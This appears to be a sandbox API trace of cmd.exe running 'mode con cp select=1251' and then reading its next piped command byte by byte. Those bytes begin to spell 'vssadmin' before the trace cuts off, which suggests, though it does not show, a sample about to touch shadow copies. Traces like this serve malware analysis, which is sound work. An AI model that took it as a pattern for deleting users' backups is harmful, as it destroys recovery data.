[0247.795] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0247.795] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0247.795] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0247.795] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0247.795] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0247.795] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0247.795] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0247.796] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0247.796] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0247.796] ??_V@YAXPEAX@Z () returned 0x1 [0247.796] GetProcessHeap () returned 0x24a1a690000 [0247.796] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xffde) returned 0x24a1a698e90 [0247.797] GetProcessHeap () returned 0x24a1a690000 [0247.797] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x42) returned 0x24a1a697880 [0247.797] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0247.797] malloc (_Size=0xffce) returned 0x24a1a950820 [0247.797] ??_V@YAXPEAX@Z () returned 0x24a1a950820 [0247.797] GetProcessHeap () returned 0x24a1a690000 [0247.797] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x1ffac) returned 0x24a1a6a8e80 [0247.799] SetErrorMode (uMode=0x0) returned 0x0 [0247.799] SetErrorMode (uMode=0x1) returned 0x0 [0247.799] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x24a1a6a8e90, lpFilePart=0x7d41d0f020 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x7d41d0f020*="system32") returned 0x13 [0247.799] SetErrorMode (uMode=0x0) returned 0x1 [0247.799] GetProcessHeap () returned 0x24a1a690000 [0247.799] RtlReAllocateHeap (Heap=0x24a1a690000, Flags=0x0, Ptr=0x24a1a6a8e80, Size=0x42) returned 0x24a1a6a8e80 [0247.799] GetProcessHeap () returned 0x24a1a690000 [0247.799] RtlSizeHeap (HeapHandle=0x24a1a690000, Flags=0x0, MemoryPointer=0x24a1a6a8e80) returned 0x42 [0247.799] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0247.800] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0247.800] GetProcessHeap () returned 0x24a1a690000 [0247.800] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x1b6) returned 0x24a1a6978d0 [0247.800] GetProcessHeap () returned 0x24a1a690000 [0247.800] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x35c) returned 0x24a1a6a8ee0 [0247.847] GetProcessHeap () returned 0x24a1a690000 [0247.847] RtlReAllocateHeap (Heap=0x24a1a690000, Flags=0x0, Ptr=0x24a1a6a8ee0, Size=0x1b8) returned 0x24a1a6a8ee0 [0247.847] GetProcessHeap () returned 0x24a1a690000 [0247.847] RtlSizeHeap (HeapHandle=0x24a1a690000, Flags=0x0, MemoryPointer=0x24a1a6a8ee0) returned 0x1b8 [0247.847] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0247.847] GetProcessHeap () returned 0x24a1a690000 [0247.847] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xe8) returned 0x24a1a6a90b0 [0247.849] GetProcessHeap () returned 0x24a1a690000 [0247.849] RtlReAllocateHeap (Heap=0x24a1a690000, Flags=0x0, Ptr=0x24a1a6a90b0, Size=0x7e) returned 0x24a1a6a90b0 [0247.849] GetProcessHeap () returned 0x24a1a690000 [0247.849] RtlSizeHeap (HeapHandle=0x24a1a690000, Flags=0x0, MemoryPointer=0x24a1a6a90b0) returned 0x7e [0247.849] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0247.850] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x7d41d0ed90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7d41d0ed90) returned 0x24a1a6a9140 [0247.850] GetProcessHeap () returned 0x24a1a690000 [0247.850] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x0, Size=0x28) returned 0x24a1a696540 [0247.850] FindClose (in: hFindFile=0x24a1a6a9140 | out: hFindFile=0x24a1a6a9140) returned 1 [0247.850] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x7d41d0ed90, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x7d41d0ed90) returned 0x24a1a6a9140 [0247.850] GetProcessHeap () returned 0x24a1a690000 [0247.850] RtlReAllocateHeap (Heap=0x24a1a690000, Flags=0x0, Ptr=0x24a1a696540, Size=0x8) returned 0x24a1a696540 [0247.850] FindClose (in: hFindFile=0x24a1a6a9140 | out: hFindFile=0x24a1a6a9140) returned 1 [0247.850] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0247.850] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0247.850] ??_V@YAXPEAX@Z () returned 0x1 [0247.850] GetConsoleTitleW (in: lpConsoleTitle=0x7d41d0f310, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0248.295] GetProcessHeap () returned 0x24a1a690000 [0248.295] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x21c) returned 0x24a1a6a9140 [0248.295] GetConsoleTitleW (in: lpConsoleTitle=0x24a1a6a9150, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0248.495] GetProcessHeap () returned 0x24a1a690000 [0248.495] RtlReAllocateHeap (Heap=0x24a1a690000, Flags=0x0, Ptr=0x24a1a6a9140, Size=0x8c) returned 0x24a1a6a9140 [0248.495] GetProcessHeap () returned 0x24a1a690000 [0248.495] RtlSizeHeap (HeapHandle=0x24a1a690000, Flags=0x0, MemoryPointer=0x24a1a6a9140) returned 0x8c [0248.496] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0248.549] GetProcessHeap () returned 0x24a1a690000 [0248.549] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6a9140) returned 1 [0248.550] InitializeProcThreadAttributeList (in: lpAttributeList=0x7d41d0f230, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x7d41d0f120 | out: lpAttributeList=0x7d41d0f230, lpSize=0x7d41d0f120) returned 1 [0248.550] UpdateProcThreadAttribute (in: lpAttributeList=0x7d41d0f230, dwFlags=0x0, Attribute=0x60001, lpValue=0x7d41d0f10c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x7d41d0f230, lpPreviousValue=0x0) returned 1 [0248.550] GetStartupInfoW (in: lpStartupInfo=0x7d41d0f1c0 | out: lpStartupInfo=0x7d41d0f1c0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xf94, hStdOutput=0xfa0, hStdError=0xfa0)) [0248.550] GetProcessHeap () returned 0x24a1a690000 [0248.550] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x20) returned 0x24a1a697610 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0248.550] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0248.551] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0248.551] GetProcessHeap () returned 0x24a1a690000 [0248.551] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a697610) returned 1 [0248.551] GetProcessHeap () returned 0x24a1a690000 [0248.551] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0x12) returned 0x24a1a697610 [0248.551] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0248.551] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0248.551] _get_osfhandle (_FileHandle=0) returned 0xf94 [0248.551] SetConsoleMode (hConsoleHandle=0xf94, dwMode=0x0) returned 0 [0248.551] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x7d41d0f150*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x7d41d0f128 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x7d41d0f128*(hProcess=0x98, hThread=0x94, dwProcessId=0x2718, dwThreadId=0x271c)) returned 1 [0248.564] CloseHandle (hObject=0x94) returned 1 [0248.565] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0248.565] GetProcessHeap () returned 0x24a1a690000 [0248.565] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a696570) returned 1 [0248.565] GetEnvironmentStringsW () returned 0x24a1a696570* [0248.565] GetProcessHeap () returned 0x24a1a690000 [0248.565] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xafe) returned 0x24a1a6a9540 [0248.565] FreeEnvironmentStringsA (penv="=") returned 1 [0248.565] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa99050000 [0248.565] GetProcAddress (hModule=0x7ffa99050000, lpProcName="NtQueryInformationProcess") returned 0x7ffa990f56b0 [0248.565] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x7d41d0e628, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x7d41d0e628, ReturnLength=0x0) returned 0x0 [0248.565] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xc6bf1bd000, lpBuffer=0x7d41d0e660, nSize=0x7a0, lpNumberOfBytesRead=0x7d41d0e620 | out: lpBuffer=0x7d41d0e660*, lpNumberOfBytesRead=0x7d41d0e620*=0x7a0) returned 1 [0248.565] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0250.197] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x7d41d0f0a8 | out: lpExitCode=0x7d41d0f0a8*=0x0) returned 1 [0250.198] CloseHandle (hObject=0x98) returned 1 [0250.198] _vsnwprintf (in: _Buffer=0x7d41d0f278, _BufferCount=0x13, _Format="%08X", _ArgList=0x7d41d0f0b8 | out: _Buffer="00000000") returned 8 [0250.198] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0250.198] GetProcessHeap () returned 0x24a1a690000 [0250.198] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6a9540) returned 1 [0250.198] GetEnvironmentStringsW () returned 0x24a1a6aab80* [0250.198] GetProcessHeap () returned 0x24a1a690000 [0250.198] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xb24) returned 0x24a1a6ab6b0 [0250.198] FreeEnvironmentStringsA (penv="=") returned 1 [0250.198] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0250.198] GetProcessHeap () returned 0x24a1a690000 [0250.198] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6ab6b0) returned 1 [0250.199] GetEnvironmentStringsW () returned 0x24a1a6aab80* [0250.199] GetProcessHeap () returned 0x24a1a690000 [0250.199] RtlAllocateHeap (HeapHandle=0x24a1a690000, Flags=0x8, Size=0xb24) returned 0x24a1a6ab6b0 [0250.199] FreeEnvironmentStringsA (penv="=") returned 1 [0250.199] GetProcessHeap () returned 0x24a1a690000 [0250.199] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a697610) returned 1 [0250.199] DeleteProcThreadAttributeList (in: lpAttributeList=0x7d41d0f230 | out: lpAttributeList=0x7d41d0f230) [0250.199] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0250.202] ??_V@YAXPEAX@Z () returned 0x1 [0250.202] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0250.202] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0250.202] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0250.202] GetConsoleMode (in: hConsoleHandle=0xfa0, lpMode=0x7ff78402fc08 | out: lpMode=0x7ff78402fc08) returned 0 [0250.202] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.202] GetConsoleMode (in: hConsoleHandle=0xf94, lpMode=0x7ff78402fc0c | out: lpMode=0x7ff78402fc0c) returned 0 [0250.202] GetConsoleOutputCP () returned 0x4e3 [0250.203] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0250.204] SetThreadUILanguage (LangId=0x0) returned 0x409 [0250.205] GetProcessHeap () returned 0x24a1a690000 [0250.205] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6a90b0) returned 1 [0250.205] GetProcessHeap () returned 0x24a1a690000 [0250.205] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6a8ee0) returned 1 [0250.205] GetProcessHeap () returned 0x24a1a690000 [0250.205] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6978d0) returned 1 [0250.205] GetProcessHeap () returned 0x24a1a690000 [0250.205] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6a8e80) returned 1 [0250.205] GetProcessHeap () returned 0x24a1a690000 [0250.205] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a697880) returned 1 [0250.205] GetProcessHeap () returned 0x24a1a690000 [0250.205] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a698e90) returned 1 [0250.205] GetProcessHeap () returned 0x24a1a690000 [0250.205] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a696500) returned 1 [0250.205] GetProcessHeap () returned 0x24a1a690000 [0250.205] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a696330) returned 1 [0250.205] GetProcessHeap () returned 0x24a1a690000 [0250.205] RtlFreeHeap (HeapHandle=0x24a1a690000, Flags=0x0, BaseAddress=0x24a1a6977c0) returned 1 [0250.205] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x7d41d0f658 | out: _Buffer="\r\n") returned 2 [0250.205] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0250.205] GetFileType (hFile=0xfa0) returned 0x3 [0250.205] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0250.205] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0250.205] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x7d41d0f628, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f628*=0x2, lpOverlapped=0x0) returned 1 [0250.205] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0250.205] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x24a1a920080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0250.206] _vsnwprintf (in: _Buffer=0x24a1a930060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x7d41d0f668 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0250.206] _vsnwprintf (in: _Buffer=0x24a1a930086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x7d41d0f668 | out: _Buffer=">") returned 1 [0250.206] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0250.206] GetFileType (hFile=0xfa0) returned 0x3 [0250.206] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0250.206] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0250.206] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x7d41d0f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0x7d41d0f658*=0x14, lpOverlapped=0x0) returned 1 [0250.206] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.206] GetFileType (hFile=0xf94) returned 0x3 [0250.206] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.206] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.206] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0250.206] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.206] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.206] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0250.206] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.206] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.206] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0250.206] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.206] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.206] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.206] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0250.206] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.206] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.207] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0250.207] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.207] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.207] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0250.207] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.207] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.207] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0250.207] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.207] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.207] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff784029970, cbMultiByte=1, lpWideCharStr=0x7ff784033c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0250.207] _get_osfhandle (_FileHandle=0) returned 0xf94 [0250.207] SetFilePointer (in: hFile=0xf94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0250.207] ReadFile (in: hFile=0xf94, lpBuffer=0x7ff784029970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x7d41d0f9b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesRead=0x7d41d0f9b8*=0x1, lpOverlapped=0x0) returned 1 [0250.207] MultiByteToWideChar (in: CodePage=0x4e3, 